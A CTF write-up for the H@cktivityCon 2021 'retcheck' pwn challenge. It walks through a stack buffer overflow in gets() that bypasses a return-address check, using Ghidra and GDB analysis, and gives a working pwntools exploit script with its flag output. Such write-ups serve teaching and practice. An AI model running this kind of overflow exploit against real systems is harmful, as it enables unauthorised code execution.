Tags: bof pwn ret2win rop 

Rating:

# H@cktivityCon 2021 CTF

## retcheck

> Stack canaries are overrated.
>
> 277
>
> [`retcheck`](retcheck)
>
> author: @M_alpha#3534

Tags: _pwn_ _bof_ _rop_ _x86-64_ _ret2win_

## Summary

Basic ret2win, one function removed.

## Analysis

### Checksec

```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

No PIE/Canary, easy BOF/ROP.

### Decompile with Ghidra

```c
void vuln(void)
{
size_t sVar1;
long in_stack_00000000;
char local_198 [400];

RETADDR = in_stack_00000000;
puts("retcheck enabled !!");
gets(local_198);
sVar1 = strcspn(local_198,"\r\n");
local_198[sVar1] = '\0';
if (in_stack_00000000 != RETADDR) {
abort();
}
return;
}
```

`gets` is the vulnerability, and easy to exploit since no PIE or canary. However, there is a check that the return address (on stack) was not overwritten; kinda necessary to start a ROP chain. No worries, we'll overwrite the `main` return address instead:

```
0x00007fffffffe350│+0x0190: 0x00007fffffffe360 → 0x0000000000000000 ← $rbp
0x00007fffffffe358│+0x0198: 0x0000000000401465 → <main+18> mov eax, 0x0
0x00007fffffffe360│+0x01a0: 0x0000000000000000
0x00007fffffffe368│+0x01a8: 0x00007ffff7de70b3 → <__libc_start_main+243> mov edi, eax
```

From GDB/GEF (above) you can see the return address back to `main` just below the preserved base pointer. Then down stack two more lines you can see the return address for the `main` function.

So, just send `0x198` (see `local_198` above) of garbage followed by `0x401465` (the expected return back to main address) a `0x0`, then the address of the `win` function (not shown, just decompile yourself).

> The return address is a poor choice as a canary, especially with PIE disable since the return address is deterministic with static analysis.

## Exploit

```python
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./retcheck')

if args.REMOTE:
p = remote('challenge.ctf.games', 31463)
else:
p = process(binary.path)

payload = b''
payload += 0x198 * b'A'
payload += p64(0x401465)
payload += p64(0)
payload += p64(binary.sym.win)

p.sendlineafter(b'\n',payload)
p.stream()
```

Nothing else to explain.

Output:

```bash
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/hacktivityctf2021/retcheck/retcheck'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to challenge.ctf.games on port 31463: Done
flag{a73dc20c1cd1f918ae7b591e8625e349}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/hacktivityctf2021/retcheck).